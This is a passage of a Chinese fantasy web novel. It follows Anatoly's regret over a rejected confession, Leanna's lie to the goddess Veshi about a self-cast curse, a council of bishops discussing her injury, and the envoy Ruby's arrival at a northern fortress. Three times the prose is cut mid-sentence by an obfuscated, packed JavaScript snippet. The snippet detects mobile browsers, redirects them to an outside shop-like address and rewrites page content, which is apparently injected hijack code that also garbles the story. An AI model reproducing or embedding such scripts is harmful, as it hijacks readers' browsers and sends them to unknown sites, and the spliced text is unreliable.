一般情况下,莱安娜只会破开对方防御,进行三次有效攻击,凑够分数就停手;对方如此言行,果然被按在地上轰了半小时。 外表看上去多温和可人,内在就有多么争强好胜,这样的人和总在退让妥协的自己完全是相反的性格。 阿纳托利一开始没想过他们能成为朋友,更没想到对方会对自己产生那么大的影响。 在学院的四年里,莱安娜帮助他突破了魔导师瓶颈,在身份暴露遭受冷遇时给予支持,在他准备自暴自弃时骂醒了他,最后还冒险帮他回到北方...... 一个人若是在他人人生关键节点中出现太多次,不知不觉地就在那人心中有了一个特殊的位置。 他不知不觉地把对方放在了独一无二的位置上。情感累积太多之后往往最容易打动的人是自己,反而可能忽略对方的感受。这也是他犯的错误。 三年前平叛成功,伊莉雅答应将会给予他奖赏,并答应他一个要求。他鬼使神差地半夜去问了泰西防线的战友们,之后在诸位情感理论大师的加油助威下,写信给莱安娜表明心意,如果对方接受了,他会求伊莉雅和他一起去艾夫忒宁家求婚的。 “该死,早知道就不问了。” 想到这里阿纳托利真是恨不得给过去的自己两个大耳光。 “那群出主意的军师们不是恋爱脑,就是死木头,唯一一个结婚的朋友列昂尼德当时又不在自己身边,自己怎么敢听那群愣头青的意见!” 后悔,真是后悔,悔不当初。 表白是兑奖不是抽奖,当时怎么没人告诉他这个道理! 莱安娜收到那封信后拒绝得相当简短。 “抱歉,我的人生将全部奉献给魔法与女神,我不能答应您,祝您在未来遇到真正的爱人。” 完全是她说得出来的话!笔迹也没有问题!甚至连纸张都是艾夫忒宁家特制的! 板上钉钉的婉拒啊! 然后除了北境庆祝平叛胜利时,莱安娜送了那枚挂坠过来,二人到现在没有任何联系。 “啊啊啊!她已经是东部四区的主教了,怎么升职升得这么快啊!等我去南方遇上她......” 救命,和前任共事真的很尴尬......救命......自己连前任都不算!只是一个被拒绝的单相思对象。 一想到自己南下还要面临如此尴尬的人际关系处理,阿纳托利就无比痛苦。 “虽然以莱安娜性格,应该不会旧事重提,但光想想二人见面......” 他沉浸在自己可怕的幻想中,直到斯捷潘来敲响了投影室的门。 …… 远在千里的圣都,受重伤的莱安娜主教正在女神的神殿内接受特殊治疗。 神殿由女神亲手设计并建造,自五百年前屹立于此,见证女神降下赐福,教授未开化的人们以魔法。帝国依靠魔法上蓬勃发展,女神则是魔法的源头,文明的起点。 分为内外两层,外层神殿用于教廷的日常工作,内层则是属于女神的空间,只有得到青睐的人才可以进入一睹。 大部分人猜测女神的庭院有数不尽的宝物,或者是金碧辉煌的宫殿、堆满了记有女神智慧的书籍手记、可以移山填海的法宝。 但其实都不是,穿过内外围的结界,在维曦神殿的中心仿佛是一片望不到尽头的湖。 远远看去是一片平静的淡蓝色,和蓝天快融为一体,走进一看才发现这不过是魔力的一种特殊形态。 在这满天的蓝色,裹挟着莱安娜,她悬浮在“水”中,随着魔力的波动而浮沉。 “水”温和严密地包裹着她,直到莱安娜睁开了眼睛,双手下意识地挥动。 仿佛能感受到她的苏醒,“水”乖巧地退去,莱安娜的脸终于露出水面,下意识地吸了好几口气,仿佛真的溺水了一般。 她似乎想要起身,却发现无物可依,在徒劳地划了两下手脚后,保持了漂浮的状态。 她眯着眼睛,长时间昏迷后睁眼并不适应阳光。 一个如山泉般清冽的声音在她耳边回荡。 “你到底怎么伤得怎么严重的?” “维曦女神,您别戏弄我了,让我们换个状态交流……” “如你所愿。” 话音刚落,莱安娜便从“水”中完全抽离出来,悬浮在空中。像是有只温柔的手提起了她,再慢慢放下,直至稳稳地落在了水面上,荡出一圈圈涟漪。 不远处有团水从湖面跃起,然后奔向她,逐渐凝结成一个飘逸的人形,像是用水做的雕塑,是维曦来了。 只见女神轻轻挥手,在她和莱安娜之间的湖面微微泛起涟漪,随后浮起一粒粒水珠,围绕着二人飞舞旋转,眼花缭乱的瞬间,一套桌椅出现在二人之间。 莱安娜坐下后,维曦仍然漂浮在空中,莱安娜笑盈盈地看着她。 “您似乎很喜欢这个形态,看着就像传说中的水精灵一样。” 莱安娜仰着头,饶有兴趣地看着对方。 “但这是现在最真实的我啊。” 维曦张开双臂,仿佛嫌展示得不够,又在空中漂浮着转了好几圈。 “依靠实体存在的方式太落后了,魔力更加稳定和方便,你难道不觉得吗?” 她一面说着一面端详了一下自己透明的手臂。 莱安娜还在思量怎么回应她,对方又继续自说自话起来。 “不过这个样子也不是所有人都能接受的,每次他们觐见女神,我都要变成人形,真的好麻烦。” “那没有办法,一切都是为了避免损害您的威严,您自己也知道,不是所有人都能理解魔力的形态,总不能让大家以为您是一团水吧。” “不是水,是魔力!只是水的形态最接近魔力最原始的状态,方便模拟罢了。” 她认真地纠正,因为不满,还冲莱安娜的脸上打出一个“水”球。 莱安娜起身躲避,回头再看的时候,刚才坐的地方只剩一片虚无。 “你还没有告诉我为什么你会受这么严重的伤。” 她一下子从高空旋转而下,悬浮在莱安娜对面。 “我不知道……”莱安娜紧抿着唇。 “当时我刚刚开完会出来,我记得维克多叫了我,他当时刚和我说了两句话,然后我就什么都不记得了。” “你这样说,是在怀疑他?” 如果此时莱安娜足够细心,她就会发现对面的维曦的语气已经不再如刚开始那般明快,变得认真了许多。 “他确实有一定嫌疑,不是吗……” “你最好不要把你在教廷那套花花肠子带到我这里来,莱安娜。” 对方的语气骤然冷了下来,魔力仿佛外壳一般褪去,维曦的面孔从水中显现,她显化出了人类的形态,金色的眼眸满是如同猎手的打量。 强大的魔力压得莱安娜几乎抬不起头来。“我很纵容你,莱安娜,但这不意味着你可以一直欺骗我,你很清楚你自己是怎么受伤的,我不在乎你利用这点在教廷怎么推波助澜,但你不该对我说谎,没有下一次。” 莱安娜困难挤出两个字。 “遵命。” 维曦收起魔力,不满地盯着她。 “你身上是诅咒的痕迹,而且是你给自己下的,你想干什么?” “我之前去遗迹时,侥幸获得了一本先民的笔记,其中就有这个诅咒,笔记中标注的威力并不高,但发动条件非常苛刻,根本没有合适的实验对象,不得不在自己身上试了,没想到威力这么大。” “你身上的诅咒名叫“复仇”,古文明的魔法和你们这个时代本就不是一个量级,你没有一击毙命已是侥幸。” 维曦嘲讽道。 “魔法师很多都是疯子,但像你这么疯,为了钻研术式技艺敢在自己身上做实验的,我这几百年也没见过几个。” “我当这是您对我的褒奖。” 她面不改色地抬头看着维曦,仿佛真的很自豪。 “你还真是……”维曦有些无奈地叹了口气, “你的其他目的呢?” “当然是给维克多泼脏水,而且在这个节骨眼儿受伤,之后半年里教廷那些魔兽潮的累活就有借口可以撇干净了。” 她冲维曦昂首微笑,眼睛里带着几分狡黠。 “按照我对维斯特利亚的了解,只要你没死,不可能让你休息的。” 维曦给她泼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046823|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓢冷水,在神情复杂地打量了她一会儿。 “你是个聪明的孩子,莱安娜,你要明白教廷对我不重要,我想换随时就可以换,你是我属意的教皇候选人,别忘了我们的约定。如果你想在教廷掀起什么样的风波我不在乎。但把主意打到我身上来就大错特错了。” “下次不会了,而且刚才那样说也只是想要您更支持我。” 她笑着从地上站了起来。 “我对你的优待无需验证,莱安娜。” 维曦闭上眼仿佛在认真回忆。 “你是这百年间唯一一个,在虚湖中找到我本体的人。你确实是特别的,因此我愿意给你更多的包容。” “我的荣幸。” “你也是最近这一代对魔法极有天赋的孩子,目前也只有你理解了先民遗留的魔法遗产,所以我很喜欢你。” 莱安娜听到此处朝维曦靠近了一步,一把握住了对方的手,维曦眉头一皱。 “感谢您的青睐。” 莱安娜抬起头,的眼睛里仿佛只有纯粹的野心和好胜心,追求强大和胜利的欲望毋庸置疑。 但维曦女神仍然想要再试探一下,她朝着莱安娜微微一笑。 “你还是很忠诚的孩子,当年你的老师,前主教卡丽安娜背叛教会,公开反神的时候,你毫不犹豫地接下了教皇的诛杀令,结束了她的生命,你的信仰战胜了你的私情。” “我将不负您的信任和期待,所以请您继续站在我这边吧。” 她说这话的时候没有丝毫的犹豫和迟疑,恭敬地亲吻维曦的手背,就如崇拜力量本身那样虔诚,至死不渝,无怨无悔。 信徒卑微恭顺的姿态被尽收眼底,维曦在轻笑一声后缓缓地抽回了手。 “我现在当然会支持你,但你也要认清自己的位置,” 维曦温柔地将她有些乱的头发别在耳后,然后朝下捋了捋。 “你的当务之急是突破魔力阈值,成为超越高阶法师的存在,届时我会下达神谕,由你接任教皇。这样你就可以和我并肩而立,启动宝物,修补地脉了,那时候魔兽潮可以彻底平定。” “维曦女神,之所以选中我,是我的魔力波动和传说中的维尔女神相似吗?” “是的,宝物需要我和她共同启动,可惜她在诛杀邪神尼德霍格的战斗中陨落了……我原本以为这个宝物再也无法使用,没想到你的魔力频率竟然和她一致。” 她脸上难得出现了温和的笑意,仿佛是发自内心地感到高兴。 “不过,你的进度让我相当失望,维克多一年前就已经突破了魔力阈值,你的天赋不在他之下,为什么一直迟迟没有突破呢?看来是心思都放在了俗事上面......” 维曦抬眸扫了对方一眼,莱安娜果然有些心虚地别开了目光。 “我会尽快的。” 她虔诚地低下头。 “但研究诅咒不是没有意义的事情,这是我自己兴趣,而且我总不能在魔法研究上输给维克多吧?” 她眼里闪烁着光芒,一副为了魔法如痴如醉的样子。 “呵,不要太任性了,莱安娜,再做这种疯事,别指望我出手救你,你就死在外边吧。” 她敲了敲莱安娜的额头,然后朝后面猛地一推,莱安娜又一次陷进了“水”中。 她所在的水没有了之前的支撑力,将她包裹在了其中,她隔着“水”看着维曦的脸,女神的人像美得摄人心魄,隔着湛蓝的水层,给那头灿烂的金发和如艺术品般的面孔增添了朦胧的美感。 维曦背着手,弯下腰,带着一弯温柔的浅笑俯视着水中的莱安娜。 “主要的伤已经恢复不少了,回去吧,阿萨特会来接你的,别忘了你真正应该用心的任务。” 她随意地挥了挥手,一阵强烈的眩晕感充斥莱安娜的大脑,仿佛被一股力量往下拽。 再次睁眼时,她已经被强力的‘水流’裹挟着穿过了结界的大门,准确来说更像是被弹出来,一团水球包裹着她落地,在她身旁分流盘旋几圈后便消失得无影无踪。 离开了维曦构建的魔力空间,没有了幻术隔绝五感,魔法疗愈的副作用和伤口本身让她忍不住抽了一口气,在从结界跃出的瞬间疼得她大脑发白。她瘫倒在了地砖上,身体状态比她想象得糟糕,虽然她现在意识还算清明,但一点也动不了了。 “是莱安娜大人,快通知阿萨特主教,莱安娜主教从女神那里回来了。” 结界处的守卫一边检查她的情况一边让另一个人去通知阿萨特。 莱安娜蜷缩在地上,离开了神明的领域,终于可以松一口气了。 在和维曦对峙时,她的背后因为紧张出了一层汗,手心因为攥紧,留下了指甲印的血痕。 她就知道这个没安好心的神明这一次肯定会试探她受伤的原因,还好提前构思过理由,但在说谎时她仍然很紧张,因为不确定维曦会不会有什么测谎的魔法,毕竟传说神明全知全能,但实际情况看来也并非如此,自己瞒了过去。 “你也配提起卡丽安娜老师......什么优待,话说得好听,不过也就想拿我当你计划的工具罢了。” 她倒在地上,盯着虚湖的结界入口,握紧了拳头。 她给自己下了的诅咒名为“守护”,并非女神判断的“复仇”。 女神只看出了诅咒痕迹,并没有鉴别出她身上的诅咒类型,女神并非全知全能,至少足以说明先文明的魔法并非由她创造。 而且还好她和维克多的关系足够糟糕,用泼脏水、搞实验的借口能敷衍过去真是谢天谢地。 莱安娜眼皮不受控制地合上了,在她闭眼分析时,周围的守卫已经将她转移到了担架上,她听这些人零星的对话应该是会送去最近的治疗室,阿萨特主教似乎还在开会,不知道什么时候能过来,自己还会痛多久。 “你到底是什么东西呢?” 在离开结界室的时候,莱安娜再次尽力睁开了眼睛,盯着天花板上的女神画像。 画像里的维曦女神笑容仁慈端庄,展开双臂,携带象征魔法的火焰,走向世人。 4. 烫手山芋给谁好呢? 莱安娜陷入了深度昏迷,好在女神的治疗已经让她没有了性命之虞,否则现在正在联合会议上摸鱼的阿萨特主教就没有这么清闲了。 本月的联合会议仍按惯例在维曦塔顶端召开。 大理石的长桌几乎占了会议室的五分之一,六张主教的椅子横在两侧,两端相对的座位则属于教皇和皇帝。 当然,自从教会成立开始,皇帝的意见就不再重要,因此皇帝陛下的椅子总是空着的,今天也不例外。 阿萨特主教今天的心情还算不错,他来得早,和最先到的贝拉主教闲聊了一会儿。 二人其实差了辈,但白发老爷子似乎和主教中最年轻的女士没有代沟。 “看你投影快看小半年了,没想到今天的会议能够见到贝拉你本人,还真是稀奇。” “哎呀,阿萨特老爷子您这话说得就像是很期待我在前线连轴转一样。”她笑了起来,晨曦的光下她粉扑扑的脸蛋格外有生气,棕色的眼睛熠熠生辉。 贝拉今年二十二岁,因极其卓越的治疗魔法和在灾区积累的名望被破格提拔,是有史以来最年轻的主教。 治疗系魔法师原本就比攻击型或者防御型魔法师更加稀少。在魔兽潮日益频繁,天灾不断的当下,更是成了各区争抢的香饽饽。 贝拉主教自学生时代起就辗转各区前线救死扶伤,在前线的时间甚至比莱安娜和维克多还要长。但这位几乎是焊在前线的主教也并非任劳任怨的圣人,很快倒起苦水来。 “西区的魔兽潮半月前平息了,原本我早该和维克多一起回来的,但没办法,除了战斗支援我还得负责灾后的治疗工作,这才晚了半个月,维克多倒是走得潇洒……” 她撑着下巴,不满地嘟囔着。 “好啦好啦,好事多磨,这不是终于可以休假了吗?” 阿萨特和蔼地看着她。 “才不是!” 贝拉拍着桌子抗议。 “我这次回来还要帮西尔维亚更新学院治愈魔法的教材……烦死了!” 就在她话音刚落,西尔维娅主教就推门而入,贝拉捂住嘴,心虚地瞥了一眼对方,判断西尔维亚没有听见后她才松了口气。 西尔维亚是一位风风火火的中年女士,她抱着一大摞牛皮纸袋子,阿萨特主教瞥了一眼,猜测里面是神学院学生的试炼报告,西尔维亚应该才从奥利佛学院赶来。 “行政教学类的工作真的很麻烦呢。” 他不由得同情起了自己这位同事。 接着进来的是负责新兴领域研究的阿尔温主教还有一向喜爱迟到早退的维克多主教。 都是老熟人了,先来者和后来者如往常般对视一眼,微微颔首后便坐到了自己的位置上。 时钟的指针走到了预计开始的时间,但是还空着三把椅子——维斯特利亚教皇、亨利三世皇帝以及莱安娜主教。 “怎么回事儿?” 西尔维娅抬手指了指自己斜对面的空椅子, “我还是头一次见莱安娜迟到,她这个人一向守时,是出了什么事情吗?” 只见西尔维亚微微皱眉,贝拉闻言也看向阿萨特。 “莱安娜的治疗和魔力检查一直由他负责,或许他知道什么。”贝拉想道。 阿萨特老爷子跟个没事人一样,仿佛没有察觉到西尔维亚和贝拉好奇的目光,只是低头翻阅桌面上的草稿纸。 “那是白纸,有什么可翻的。” 贝拉和西尔维亚都有些无语。 但是莱安娜迟到一事,她的死对头维克多竟然只是坐着,没有出来挑刺。 贝拉有些意外,毕竟,如果你有没有签到,讨厌你的人会比老板更早发现! “行,既然都不知道,那……”正当西尔维亚准备将这个话题翻篇的时候,那个老挑莱安娜刺的人抬头打断了她。 “承蒙西尔维亚主教您刚才的吉言,莱安娜小姐确实出了大事。” 维克多话说了一半便停了下来,然后满不在乎地挂出了惹人烦的笑容。 西尓薇娅瞪了他一眼,他仍然没有解释的意思,随后整个会议室陷入一片死寂。 “我来解释吧,西尓薇娅。” 阿萨特主教叹了口气,最终不再玩草稿纸。 “莱安娜她在三日前因原因不明的魔法袭击受伤,在女神的结界里接受治疗。为了缩小影响,此事教皇陛下要求封锁,我因为接手了第一时间的治疗,这才较早得知。” “那孩子现在怎么样?” “已经按照女神的意旨送到结界处了,应该已经脱离了危险期。” “那就好……不过竟然能够让莱安娜重伤!是什么原因?查到幕后主使了吗?” 西尓薇娅问了一连串问题,阿萨特主教面露难色,捻了下自己白花花的胡须。 “原因不明……人是维克多送来的,维克多?你来说吧。” 听到阿萨特主教叫了自己的名字,维克多抬起了头,他有一头灿烂的金发和湛蓝色的眼睛,五官完美得像是古典油画中的人物那般。 如果不是因为常挂着恶趣味的笑容,以及长着条挖苦别人的舌头,就凭这张极具欺骗性的面孔,他一定会讨喜很多。 但是说正事的时候,这人会罕见地正经一些,可以短暂地让同事们忘却他曾经制造过多少麻烦。 “不是寻常的攻击魔法,莱安娜自己是控制型魔法师,我要近身都很难;而且事情就发生在我眼皮子下面,如果是魔法偷袭,我和她都不可能无所察觉。” 维克多的实力大家心知肚明,高速攻击魔法已是登峰造极,要想逃过他的眼睛不太现实。 “所以,我目前怀疑是诅咒。” 话音刚落西尓薇娅就发出惊叹。 “怎么可能!诅咒是传说里的东西,最近的资料也就莱安娜解读的先民手记里有所提及,具体的施展方法早就失传了……” “但现代攻击魔法我想不到任何可能性。” 维克多这话说得十分笃定,并不擅长攻击魔法的西尓薇娅不再追问。 此时大家的疑虑不由分说地汇聚在一处,谁有能力使用诅咒,并在高阶魔法师眼皮子下袭击另一位高阶魔法师? 如果有这样的人,他是什么目的?他是否盯上了其他人?自己的安全应该如何保障? 一时间,其他几位主教就明白为什么要封锁消息了,如果连教廷双刃之一的莱安娜都无力招架,那他们如何自保? “我还有个问题。” 贝拉轻柔的声音再一次打破了众人沉默,只见她微微侧身,饶有兴趣地瞧着斜对着她的维克多。 “讲。” 维克多的不耐烦已经写在了脸上,作为唯一的目击证人,他已经被迫写了好几篇冗长的报告,因而不想再此事上多费一句口舌。 “是你送莱安娜去找阿萨特老爷子的?” 在玩草稿纸的阿萨特闻言抬头,眯起了眼睛。 贝拉用着试探的语气,内容值得玩味。 虽然关注点有些奇怪,但大家对她如此发问的原因心知肚明。 莱安娜和维克多一向不对付,开会天天吵,比试死里打。 实话实说,哪怕是在莱安娜遇袭时,维克多在一旁鼓掌加油大家都不会觉得奇怪,最多事后说两句维克多冷血。 就连阿萨特自己看到维克多抱着莱安娜冲过来时,第一反应都是维克多下手太重了收不了场,先骂了句“胡闹”。 维克多救人这事显得格外反常,他不是什么乐于助人的主,而且确实又有行凶的实力。 因此贝拉这样问无疑是把嫌疑往维克多身上推,阿萨特有种不祥的预感。 “坏了,又要吵。” 他低下头开始折纸,试图躲避一些没有意义的纠纷。 但往日如炸药一般的维克多,今天异常平静。听了她的问题神色自若。 “对啊,我送的,不然等她死了谁接手东部魔兽潮的工作?不是我去难道你去?你不就只会跟在我们屁股后面做点善后工作,收买人心吗?真以为自己是前线的中流砥柱了?” 他没好气地朝椅子背后一靠,然后瞪着贝拉。 “怀疑是我下手可以直说,没必要绕这么远的弯子。莱安娜身上留下的魔力痕迹和我没有关系,阿萨特主教可以作证。” 阿萨特装作没有听见,只是在折纸,他已经快要折出第二只小鹿了。 “话别说这么难听,我只是单纯对您的助人为乐行为感到好奇。” 贝拉若无其事地结束了对话,随后会议室再次陷入了死寂。 察觉到氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在几位候选人中,最终决定由东部神官露比·卡斯特担任使者。之所以选择她,是考虑到其曾有在北地试炼的经历,在当前的局势下,选择这样一位候选人至少能释放些许善意。 同时伊莉雅公爵发来了新的通知,由于阿纳托利受伤的缘故,北地希望授勋仪式可以推迟一个月。 收到消息后,负责行政事务的西尔维亚便前往使者候选人的住所,通知露比神官任命结果,以及其需要延期出发。 当西尔维亚找上门的时候,露比神官正在神殿的一块地上拔草,远远看上去就像是在玩泥巴。 西尔维亚满脸狐疑地凑近,一股浓烈的气味直冲鼻腔。环顾四周才发现露比身旁有两桶不明液体,似乎是发酵的肥料。 “教廷已经完蛋了。” 西尔维亚无比沉痛。 而露比似乎完全没有想过自己会被选上,看到前来的西尔维亚一脸震惊,听闻教廷的决定后更是被吓了一跳。 “西尔维娅主教,您是说,我去和阿纳托利谈判?” 她用手不可置信地指了指自己。 “我吗?” 女神在上!她手上还粘着泥巴,希望那只是泥巴,西尔维娅深吸一口气,平复了下心情。 “教皇和其他主教认为,我这个研究魔导器技术和农业应用魔法的神官是最适合去和阿纳托利谈判的?” “是的。” 西尔维亚没有兴趣和她多说。 “半个月之后出发,你好好准备吧。具体问题会有神官来找你对接,教皇的旨意我已经带到了,告辞。” 她说完便利落地转身离去,只剩下露比一个人抓脑袋。 “不是,认真的啊?” 虽然莱安娜主教在之前提醒过她,她有可能被选为教会接引工作的使者。但她自己仅当这是说说而已,毕竟自己在明面上也就一个名义上的北方经历拿得出手一些,比她更有背景更需要栽培的神官多的是。 “疯了吧,让种地的去谈判。” 她在心里暗暗骂了一句。 这份看似意义重大的工作竟然真的交到她这个没有一点背景的普通神官手中,哪怕不了解内情,她也可以快速明白这事是烫手的山芋。 她再一详细琢磨便明白了事情的凶险,阿纳托利虽然名义上是回来接受荣誉的英雄,但是明眼人都知道他是北方的人质,那这位人质先生心里一定恨透了教会。 “我,教会的神官,南方派去的使者,阿纳托利会恨透了我……” 露比砸吧砸吧嘴。 “哈哈,已经完蛋了。” 于是露比怀着万念俱灰、吾命休矣的心态筹备着工作。并准备在莱安娜清醒后,向自己这位好前辈套一些关于阿纳托利的情报。 5. 初到泰西防线 阿纳托利这些天一直在抓紧防线的交接工作,以及进行魔兽样本的测试。 防线交接的工作并没有预料中的苦大愁深,毕竟虽然坎坷不断,生活却还要继续,魔兽潮可不会因为一两个人的离去就停止爆发,泰西防线仍然在紧凑有序的节奏中等待着南方来的神官们。 他们等待的露比神官在约定的日期准时启程,为了保证赶路的速度,以及最大程度地封锁消息,人员做了最大程度精简,准备工作也一切从简,速度比预计快了好几天。 因此所谓的使团,不过只有露比一位神官和她的两位助手。 三人马不停蹄地赶路,总算是已经能够看到泰坦山脉的轮廓了。 “还有多久到泰西防线?” 露比端坐在马车里不耐烦地问道。 “大概还需要三个钟头,露比神官。” 回答她的神侍是一位眉眼干净的青年人,估摸着有十八九岁,他回答得不急不慢,还带着不太明显的微笑。 “但我明明已经能看到防线的轮廓了啊,怎么还需要这么久。” “露比神官有所不知,泰西防线建设在泰坦山脉上,内部通向防线的路很崎岖,因此速度很慢。” 还没有等他说完,就被车外一个暴躁的声音打断。 “什么破设计,选条平路不好吗,选条不好走的路可不是脑袋被门夹了。” “亚瑟,你真该改改你的臭脾气还有打断别人说话的坏习惯,说不定就是因为这些坏习惯才不知道得罪了什么人,害我和你一起被人追杀了好几次。露比神官早说过你了,从来不听!” “罗杰!你别又拿鸡毛当令箭!露比神官批评我和你有什么关系!” “露比神官,您怎么能在这个时候捂住耳朵,闭上眼呢?快管管这个没有教养的家伙!” 这样叽叽喳喳的争吵,每天都会在露比耳边重复几次,她已经懒得制止自己这两位愣头青学生,没办法,谁叫这是她自己选的神官候补和神侍呢? 当时选亚瑟,是看上了其高速魔法和优秀的近战能力、这在配合作战时至关重要;罗杰那如百科全书般的常识积累还有过目不忘的文书能力,简直减轻了她一大半的日常工作,虽然没有战斗型魔法的天赋,但是应用型魔法却是一把好手,更难得的是对魔力极其灵敏的探知能力,这对于索敌和预警至关重要。 总之,两人的综合素质在同期生中都非常优秀, 唯一美中不足的就是——这俩货是冤家,话还多,一天可以吵八百次架。 她忍不住扶额叹息。 “这个防线内部路线的设计就是有病!” 亚瑟口出狂言。 “我解释过了,防线很科学,需要考虑到节约建材、视野角度……” 罗杰详细回怼。 受不了的露比终于开口。 “别吵啦!都没说到点子上,这个防线内部设计很聪明,但最重要的不是什么成本、角度。” “那是什么?” 两个脑袋瓜倒是默契地转了过来,眼巴巴地望着露比,然后两人都发现露比虽然还带着笑,但是眼神已经冷了下去。 “因为泰西防线最需要担心的威胁不在于墙外,而在墙内。” 她的语气仍然十分轻快,但两位学生的心情已经受其语言内容的感染变得有些沉重。 “所以,其实这条路这么难走,是为了防……” “对,为了防我们。” 露比转过头去,眺望窗外越来越近的防线,它的轮廓逐渐变得清晰,每走近一步,都能愈发感到自己的渺小,这个庞然大物仿佛在用沉默的方式警告不怀好意的外乡人。 “从刚才你们开始吵闹的时候,这条路上隐藏的魔力装置就已经开始运作了,监视功能开发得很不错,我对它所需要的材料很感兴趣,能够在温度极寒的地方运行,其耐低温的特性……” 露比撑着下巴扫视着窗外喃喃自语道。 “但很奇怪,露比老师,我没有感知到任何魔力……” 罗杰皱起了眉头,朝窗外又看了看,他想到了什么,一副恍然大悟样子。 “所以您当时捂住耳朵是在探知魔力范围······” “不是,捂耳朵单纯是因为你们太吵了。” 露比嫌弃地看了两人一眼。 “感受不到魔力波动不是你的失误,我能发现有东西是战斗积累的直觉,从刚才我就有种被观察的感觉……确实没有魔力波动,或许是以什么死物为媒介?” “咦,好恶心……” 车外传来了亚瑟的抱怨。 “是嘛,我倒是觉得这种构造异常聪明。” 露比撑着下巴,望着自己两位学生狡黠一笑。 “丑话说在前面,现在已经进入别人的地盘喽,如果你们惹恼了那位阿纳托利团长,我可没有能力救二位,最多出于师生情帮你们收尸。” “露比老师太夸张啦!虽然我听说他的实力确实可以和主教维克多一较高下,但是守护者的信函里面说他受伤了,需要静养,我们这才推迟了一个月的行程呢呢,受了伤应该” 露比朝着车外的亚瑟瞥了一眼,提高音量打断了他。 “闭嘴吧你,综合评定连A级都没有,你有什么资格揣测那位的实力? 露比笑着看了眼亚瑟这个不知天高地厚的年轻人。 很快他们抵达了泰西防线外侧,不得不开始感叹防线设计的精巧,从外部看只能看到厚厚的屏障,并且为了防止被魔物或者入侵者发现其中的弱点,其外壳设置了干扰魔法,从外观测没法看清建筑的结构亦或者是入口出口。 就在他们走到距离看不见的“门”还有大概十米最后的时候,一道警戒光束出现在他们的眼前。 “欢迎教廷神官们的来访,请出具身份证明。” “露比·卡斯特,神圣教廷东部一区驻地神官,另外两位是我的神官候补亚瑟还有神侍罗杰。” 她快速将手中的文书以及身份证明文件在马车前方进行了放大投影。 几个圆形的装置不知道从何处冒了出来、漂浮在马车周围,随即漂浮到了文书投影前,飘上飘下。 “那是什么魔导器?” 亚瑟眯着眼睛,观察无果后抓了抓脑袋。 “……我也是头一次看见。” 罗杰也摇了摇头。 “看来这些年北方魔法师发明了许多有趣的玩意儿啊。” 露比贪婪地盯着空中漂浮着的小东西,就如同在端详一件艺术品,她嘴角不自觉地勾起了一抹笑,她想要努力看清它的结构,但一切都需要时间,只凭这几眼就想明白一个复杂魔导器的原理显然是不可能的。 “核验通过,欢迎您的到来,露比神官、亚瑟学员、罗杰神侍,请从7号入口进入防线。” 为了防范入侵者,一个方向的入口有很多,并且由干扰魔法,没有高阶法师的探知力是无法确定的。露比他们进入防线也需要完全按照内部人员的指引。 “但是,七号入口在哪里?” 三人对着没有铁板一块的墙壁面面相觑。 “露比神官。” 那个管理人员的声音又从周围响起了。 “请后退几米。” 满腹疑惑的三人驾车后退了几步,地面霎时出现了金色的纹路,光芒将马车包裹起来,形成了一个简易保护罩。在嘎吱的声响中,地板开始缓缓下降。 “原来入口不在墙壁,竟然是从地下进入的。” 罗杰看着逐渐下降的地面,还有保护罩外黑色的冻土,惊讶地自言自语起来。 “所以我们看到的像“大门”的东西是什么?” 亚瑟抬头看着越来越小的天空。 “是陷阱,如果刚才各位越过警戒线,就会触发。” 那个管理人员的声音再次响起,冷不伶仃地提醒着他们险些踏入险境,这让身处在密封空间中的三人都觉得有点瘆人。 “声音到底是哪里传来的啊!” 三人在心里骂声一片。 半晌,平台终于到了底,随着升降台的降落,周围的路线指示灯亮了起来。 亚瑟驾车跟着指示灯光在复杂的道路中行走,周围的灯光来源竟然是一种植物,大约三十厘米左右的茎秆在黑暗中发出柔和的金色光芒。 经过一番折腾,三人终于来到了真正的“大门”。 露比下车,走到这庞大的闸门面前,黑漆漆的闸门竟然像活过来一样睁开了五只眼睛,直直地盯着露比。 “高阶探测魔法装置!多么精巧地设计,还和生物结合在了一起。” 露比在心里感叹道。 “身份信息二次核查无误,关闭警戒模式,开启闸门。” 门上的眼睛缓缓闭上,闸门缓缓打开。 门后是一位带着眼镜、着装正式的男士。 “泰西防线欢迎你们的到来,露比神官!” 是熟悉的声音,露比确信眼前这个温文尔雅的男士就是刚才指引他们方向的管理人员。 对方有着北地人的特征,深灰色的头发和眼睛、高挑的个子,挺立的鼻梁,眉毛和眼睛的距离很近,加上有神的双目以及十分利落的衣着,给人一种精明的感觉。 “我是斯捷潘·克索洛夫,泰西防线的工程负责人之一,很荣幸能负责迎接来自教廷的使团。” “感谢您的接引,在进入正题前方便问下是通过什么方式来指引我们的吗,我并没有感受到传音魔法或者其他结界?” 对方一愣,似乎没有想到露比会注意到这个细节对这个产生兴趣。 “只是一些小把戏罢了。” 他一面说着,一边朝着马车方向伸出了右手,右臂这才从宽大的衣袍中漏出来。 露比下意识睁大了眼睛,这是一只设计精巧的机械义肢。 从马车车底有一个黑影以极快的速度冲出,精准地落在了他的手臂上。 正是之前围绕在他们马车边,核验身份的魔导器。 “这是我的作品之一,利用魔兽的能源核心,结合了一些机械原理,是消耗型的魔导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046825|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器。” 